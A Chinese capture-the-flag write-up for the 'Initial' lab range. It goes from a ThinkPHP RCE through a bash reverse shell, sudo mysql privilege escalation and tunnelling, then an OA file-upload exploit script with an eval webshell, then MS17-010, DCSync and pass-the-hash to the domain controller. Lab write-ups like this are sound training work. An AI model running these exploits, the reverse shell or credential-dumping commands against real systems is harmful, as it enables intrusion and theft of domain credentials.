春秋云镜-Initial

准备

目标靶机ip为:39.101.163.148

flag1

对目标靶机进行端口扫描,我这里采用kali的masscan对ip进行全端口扫描。

1
masscan -p 0-65535 39.101.163.148 --rate=1000

这玩意扫太快了,好像不怎么准,老老实实用nmap或者其他工具吧。

img

访问web端口,很明显的ThinkPHP的标志。

img

进行目录扫描,好像没什么东西。

img

找不到版本号,尝试用fscan进行扫描,或者直接用ThinkPHP工具尝试梭哈。

img

扫描到tp 5.0.23 rce的漏洞。

img

直接用工具去getshell,蚁剑连接即可。也可以手动去拿payload去打。

img

img

蚁剑成功连接。尝试反弹shell。

1
bash -c 'exec bash -i &>/dev/tcp/ip/7777 <&1'

img

尝试提权,先试试suid。

1
sudo -l

img

可以看到这里的mysql可以sudo无密码使用,我们上网站查看利用手法。

https://gtfobins.github.io/gtfobins/mysql/

1
sudo mysql -e '\! /bin/bash'

img

成功提权,记得前面是开过ssh端口,我们可以尝试把root密码进行修改,然后ssh进行连接。使用 passwd root进行修改。

img

然后尝试ssh连接。

img

好像有公私钥,我们还是直接用吧。

在/root/flag目录下面有一个flag01.txt,我们可以读到。

img

第一段flag为:

1
flag{60b53231-

flag2

先搭建隧道,我直接用stowaway。

vps:

1
./admin -l 8888 -s 123

靶机:

1
./agent -c ip:8888 -s 123

选择节点,配置socks5

1
2
3
use 0

socks 1234

img

接着配置kali和网页的代理为vps+port就行了。

我们再来查看一下所处网段。

ip a 或者 ifconfig

img

我们先尝试挂完代理访问内网的ip。

img

能访问代表成功挂上。我们再进行内网信息收集,先上个fscan,用蚁剑就行。

1
./fscan -h 172.22.1.0/24(-np)>> 1.txt

跳过存活探测(-np)-np 参数用于跳过对目标主机的存活探测,即不进行 ICMP 或 TCP 连接尝试来判断主机是否在线。这可以减少扫描过程中的网络流量和潜在的检测风险

这个没有回显,我们保存到文件查看。

1.txt

start infoscan

trying RunIcmp2

The current user permissions unable to send icmp packets

start ping

(icmp) Target 172.22.1.2 is alive

(icmp) Target 172.22.1.21 is alive

(icmp) Target 172.22.1.18 is alive

(icmp) Target 172.22.1.15 is alive

[*] Icmp alive hosts len is: 4

172.22.1.18:3306 open

172.22.1.18:445 open

172.22.1.21:445 open

172.22.1.2:445 open

172.22.1.18:80 open

172.22.1.15:80 open

172.22.1.18:139 open

172.22.1.21:139 open

172.22.1.2:139 open

172.22.1.15:22 open

172.22.1.18:135 open

172.22.1.21:135 open

172.22.1.2:135 open

172.22.1.15:10001 open

172.22.1.2:88 open

[*] alive ports len is: 15

start vulscan

[*] NetInfo

[*]172.22.1.18

[->]XIAORANG-OA01

[->]172.22.1.18

[*] NetInfo

[*]172.22.1.21

[->]XIAORANG-WIN7

[->]172.22.1.21

[*] NetInfo

[*]172.22.1.2

[->]DC01

[->]172.22.1.2

[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)

[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393

[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1

[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin

[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login

[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600

[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统

[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

已完成 15/15

[*] 扫描结束,耗时: 11.07034237s

直接ai分析吧,懒得看了。

img

有四个存活主机,这里15是我们已经拿下了的主机,然后在18上面有一个办公系统,2为DC域控,21存在永恒之蓝漏洞,看样子是域成员。

然后ai分析的NetBios信息如下。

img

我们先尝试打办公系统(172.22.1.18),再从另一台的永恒之蓝(172.22.1.21)入手。

img

访问之后可以看到对应的版本号2.2.8。

弱口令 admin:admin123,在poc库里面可以找到一个任意文件上传漏洞。

img

在里面直接给出了python的poc脚本。

我们首先需要在poc.py同级目录下面创建一个1.php文件,上马就行。

1
<?php phpinfo();eval($_POST[1]);?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 1.php为webshell

# 需要修改以下内容:
# url_pre = 'http://172.22.1.18/'
# 'adminuser': 'YWRtaW4=',
# 'adminpass': 'YWRtaW4xMjM=',

import requests

session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

这里运行python脚本的时候可以挂上proxifier。

img

然后就可以直接python脚本去打了,本身是达不到内网的,这样相当于挂上了代理。同时后面蚁剑也就不用配置一遍代理了。

img

然后上蚁剑连接即可。然后我们可以在C:/Users/Administrator/flag里面找到flag02.txt文件。

img

得到第二段flag为:

1
2ce3-4813-87d4-

拼接:

1
flag{60b53231-2ce3-4813-87d4-

flag3

然后这个flag文件里面是有提示的,叫我们去攻击DC。这台根据前面ai分析版本较新可能不好拿到更高权限,所以我们直接用永恒之蓝那台。上kali。

1
2
3
4
5
6
7
msfconsole

setg proxies socks5 ip:1234

setg ReverseAllowProxy true

search ms17_010

我们选择第一个就行了,use 0。

我们还需要修改payload。

1
2
3
set payload windows/x64/meterpreter/bind_tcp_uuid

set RHOSTS 172.22.1.21

去正向连接。但是我这么设置好像不行?用proxychains4 msfconsole就行了。

img

成功攻击。这里我们利用永恒之蓝打完后就是system权限了。

img

前面我们已经收集到了域的一些信息。

所在域为:xiaorang.lab

收集域内用户hash。

1
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

img

可以拿到administrator的hash。

1
10cf89a850fb1cdbe6bb432b859164c8

再用crackmapexec打PTH拿下域控。

1
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

img

攻击成功,拿到最后一个flag。

1
e8f88d0d43d6}

总的flag为:

1
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

参考文章

https://xz.aliyun.com/t/12115?time__1311=GqGxRDuDg7iQi%3DD%2FY2KBKefgDn0c3%3Da4D

https://blog.csdn.net/uuzeray/article/details/141316323